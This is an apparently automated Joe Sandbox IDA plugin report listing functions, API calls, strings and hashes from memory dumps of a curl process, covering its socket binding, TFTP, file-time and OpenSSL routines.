Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLast$getsockname$closesocket$bindhtonslisten
String ID: %s %s$%s |%d|%s|%hu|$,%d,%d$EPRT$Failure sending EPRT command: %s$Failure sending PORT command: %s$PORT$bind() failed, we ran out of ports!$bind(port=%hu) failed: %s$bind(port=%hu) on non-local address failed: %s$failed to resolve the address provided to PORT: %s$getsockname() failed: %s$getsockname() failed: %s$getsockname() failed: %s$socket failure: %s$socket failure: %s
API String ID: 1927503704-1848652120
Opcode ID: 6530157adc7511f281d7271757a753e8499bbd424d76d804d877d61cafad654b
Instruction ID: b4e1facd5b9461383b78e49488919f467c219a39f30d7c244f23d4ca174f2a10
Opcode Fuzzy Hash: 6530157adc7511f281d7271757a753e8499bbd424d76d804d877d61cafad654b
Instruction Fuzzy Hash: A612257060834D9BC724EF24D945BBBBBE5AF94304F04051EF98687282EB75D905EBD2

Function 002D0FB6 Relevance: 50.9, APIs: 22, Strings: 7, Instructions: 171libraryloaderCOMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00367940,00000000,?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D0FDE
LoadLibraryExW.KERNEL32(USER32.DLL,00000000,00000800,?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D1004
GetLastError.KERNEL32(?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D1010
LoadLibraryExW.KERNEL32(USER32.DLL,00000000,00000000,?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D1026
GetProcAddress.KERNEL32(00000000,MessageBoxW), ref: 002D103C
EncodePointer.KERNEL32(00000000,?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D104B
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 002D1058
EncodePointer.KERNEL32(00000000,?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D105F
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 002D106C
EncodePointer.KERNEL32(00000000,?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D1073
GetProcAddress.KERNEL32(00000000,GetUserObjectInformationW), ref: 002D1080
EncodePointer.KERNEL32(00000000,?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D1087
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 002D1098
EncodePointer.KERNEL32(00000000,?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D109F
IsDebuggerPresent.KERNEL32(?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D10A9
OutputDebugStringW.KERNEL32(?,?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D10BB
DecodePointer.KERNEL32(?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D10D9
DecodePointer.KERNEL32(00000000,?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D10FB
DecodePointer.KERNEL32(?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D1106
DecodePointer.KERNEL32(00000000,?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D114B
DecodePointer.KERNEL32(00000000,?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D1163
DecodePointer.KERNEL32(?,?,?,?,?,002CB6B9,00367940,Microsoft Visual C++ Runtime Library,00012010), ref: 002D1177

Strings

MessageBoxW, xrefs: 002D1036
GetProcessWindowStation, xrefs: 002D1092
GetLastActivePopup, xrefs: 002D1061
GetActiveWindow, xrefs: 002D104D
USER32.DLL, xrefs: 002D0FFF, 002D1021
GetUserObjectInformationW, xrefs: 002D1075
@y6, xrefs: 002D0FD7

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Pointer$DecodeEncode$AddressProc$LibraryLoad$DebugDebuggerErrorLastOutputPresentString
String ID: @y6$GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 3166169540-118083679
Opcode ID: bab19ad71f1a36e00cb520a1b2971db71f9d102346bfbecda15e8a667f581438
Instruction ID: 3eefa572fa531f333c96a5886e748c84a068b57936bfd801a2af19fdfabdaef1
Opcode Fuzzy Hash: bab19ad71f1a36e00cb520a1b2971db71f9d102346bfbecda15e8a667f581438
Instruction Fuzzy Hash: 25519F71A61206FBCB219FB5DC48A6EBBBDAB49701F14451BE509E3350DB70CC62CBA4

Function 001DD110 Relevance: 31.8, APIs: 9, Strings: 9, Instructions: 302networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 001DD350
htons.WS2_32(?), ref: 001DD39E
bind.WS2_32(?,?,00000010), ref: 001DD406
htons.WS2_32(?), ref: 001DD433
bind.WS2_32(?,?,?), ref: 001DD447
getsockname.WS2_32(?,?,?), ref: 001DD481
WSAGetLastError.WS2_32(?,?,00000080,?,00000000,?), ref: 001DD48B

Strings

Couldn't bind to '%s', xrefs: 001DD3B5
if!, xrefs: 001DD1BA, 001DD1CE, 001DD1D0, 001DD1E1
Bind to local port %hu failed, trying next, xrefs: 001DD423
Name '%s' family %i resolved to '%s' family %i, xrefs: 001DD2F0
getsockname() failed with errno %d: %s, xrefs: 001DD4A6
bind failed with errno %d: %s, xrefs: 001DD4D6
Couldn't bind to interface '%s', xrefs: 001DD1FC
Local port: %hu, xrefs: 001DD4EF
host!, xrefs: 001DD214, 001DD229, 001DD22B, 001DD23C

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: htons$bind$ErrorLastgetsockname
String ID: Bind to local port %hu failed, trying next$Couldn't bind to '%s'$Couldn't bind to interface '%s'$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$getsockname() failed with errno %d: %s$host!$if!
API String ID: 3628919538-3110688763
Opcode ID: ddedd851494bb5ba865bb5c4a29379213e99d892303f2f592cfedc53a8c37501
Instruction ID: a680a7df4ff3d04d59e028ace394ab052e922341175e98ea611748ff7f326fab
Opcode Fuzzy Hash: ddedd851494bb5ba865bb5c4a29379213e99d892303f2f592cfedc53a8c37501
Instruction Fuzzy Hash: DFB1E6B4608341ABD724DF24E845BAB77E9EF99704F04492EF88987342E731D905CB93

Function 002CCD06 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 337timeCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,?,?), ref: 002CCDC1
GetDriveTypeW.KERNEL32(00000000), ref: 002CCE28
FileTimeToSystemTime.KERNEL32(00000000,?), ref: 002CCF5A
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 002CCF72
FileTimeToSystemTime.KERNEL32(00000000,?), ref: 002CCFEE
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 002CD006
FileTimeToSystemTime.KERNEL32(00000000,?), ref: 002CD082
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 002CD09A
FindClose.KERNEL32(00000000), ref: 002CD0E9
GetLastError.KERNEL32 ref: 002CD138
FindClose.KERNEL32(00000000), ref: 002CD149
GetLastError.KERNEL32 ref: 002CD153
FindClose.KERNEL32(00000000), ref: 002CD161

Strings

./\, xrefs: 002CCDD9

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Time$System$FileFind$CloseLocalSpecific$ErrorLast$DriveFirstType
String ID: ./\
API String ID: 495382059-3176372042
Opcode ID: 9585653cdb38f5cb5f655fe32a760ab0523499deb8a1f14d42cf17de37da12d4
Instruction ID: f3ce8c3fd502079c24f09a683c0a256f343a0370da00a4bab23e11d3841bb71e
Opcode Fuzzy Hash: 9585653cdb38f5cb5f655fe32a760ab0523499deb8a1f14d42cf17de37da12d4
Instruction Fuzzy Hash: BEC1ADB18646299ECB309F64CC48BBAB7F8AF08311F1046AEF54DD2181E7749D91CF25

Function 002CFCDD Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 331COMMON

Download Yara Rule

Strings

./\, xrefs: 002CFD96

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID: ./\
API String ID: 0-3176372042
Opcode ID: 9d48ea08cb4d3bf1c2da6e48e5bea191dbaf49720a974952d68796026bae9a3d
Instruction ID: ba1f1a299ca3969cfe866a9b11808378a72da5fbf6733692f6f91145d76ebe4c
Opcode Fuzzy Hash: 9d48ea08cb4d3bf1c2da6e48e5bea191dbaf49720a974952d68796026bae9a3d
Instruction Fuzzy Hash: F5C1A1B18546299ECB309F258C48BBAB7F8EF08311F1046AEF58DD2291E7349D91CF25

Function 00236650 Relevance: 23.2, APIs: 1, Strings: 12, Instructions: 455COMMON

Download Yara Rule

Strings

You need to read the OpenSSL FAQ, http://www.openssl.org/support/faq.html, xrefs: 00236BB4
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 00236BD6
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00236AF1
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 002366E1
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00236B70
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00236BA2
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00236735
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00236865
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 002366C5
...................., xrefs: 002367CF
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 00236BE0
gfff, xrefs: 00236690

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID: ....................$..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$You need to read the OpenSSL FAQ, http://www.openssl.org/support/faq.html$ctx->digest->md_size <= EVP_MAX_MD_SIZE$gfff
API String ID: 0-1816848540
Opcode ID: a2d4d63744c4dab8b0789528154095a7be9712fc515bf298060204c3457217bc
Instruction ID: b024990ca839a4a64515c4c3ef73ecb9ec2754bd830d8e13269fc33525e0f64e
Opcode Fuzzy Hash: a2d4d63744c4dab8b0789528154095a7be9712fc515bf298060204c3457217bc
Instruction Fuzzy Hash: ACF13374A183819FD311DF78DC45B5ABBE8AF88740F048A2EF981D7252E7B0D855CB92

Function 002361A0 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 372COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 002365E5
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 00236604
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00236277
gfff, xrefs: 0023630F
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 0023624D
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 0023634C
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00236572
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 0023620D
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 0023660E

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE$gfff
API String ID: 0-3750532213
Opcode ID: d5fd819f0776c291a7b669757ea355652b67e57a361f3035bf95cfda1b89614e
Instruction ID: dd23f1418ebed8306e5adca537f9e3d14b80e82c9c47a353a5a7a1be7bebcc25
Opcode Fuzzy Hash: d5fd819f0776c291a7b669757ea355652b67e57a361f3035bf95cfda1b89614e
Instruction Fuzzy Hash: 9BD103B0A14342ABD715CF64DC45B6BB7ECAF84B00F54862DF985DB281EBB0D914CB92

Function 001F74D0 Relevance: 17.9, APIs: 2, Strings: 8, Instructions: 364COMMON

Download Yara Rule

Strings

timeout, xrefs: 001F7761, 001F778A
%lld, xrefs: 001F762D
tftp_send_first: internal error, xrefs: 001F78D1
octet, xrefs: 001F74E6
netascii, xrefs: 001F74EB, 001F75CB, 001F77DC
%s%c%s%c, xrefs: 001F75D4
blksize, xrefs: 001F76DB, 001F7702
tsize, xrefs: 001F7654, 001F767A

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID: %lld$%s%c%s%c$blksize$netascii$octet$tftp_send_first: internal error$timeout$tsize
API String ID: 0-3145828919
Opcode ID: 3baf24a49cca2038e32fe5288d771b0fbc043135845f7856866a4c95ade8097c
Instruction ID: 734550df098a2931d77683b84e6adb758309aec2aac8b99691f691f276f81fe5
Opcode Fuzzy Hash: 3baf24a49cca2038e32fe5288d771b0fbc043135845f7856866a4c95ade8097c
Instruction Fuzzy Hash: 0DC107763086049FC719DF38DC81AFBB7E2AF89304F44452DE59A87292EB32E9098750

Function 0022AC50 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77registrywindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4), ref: 0022AC66
GetFileType.KERNEL32(00000000), ref: 0022AC71
GetVersion.KERNEL32 ref: 0022ACD9
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 0022ACF7
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 0022AD1B
DeregisterEventSource.ADVAPI32(00000000), ref: 0022AD22
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 0022AD4C

Strings

OPENSSL, xrefs: 0022ACF0
OpenSSL: FATAL, xrefs: 0022AD40

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
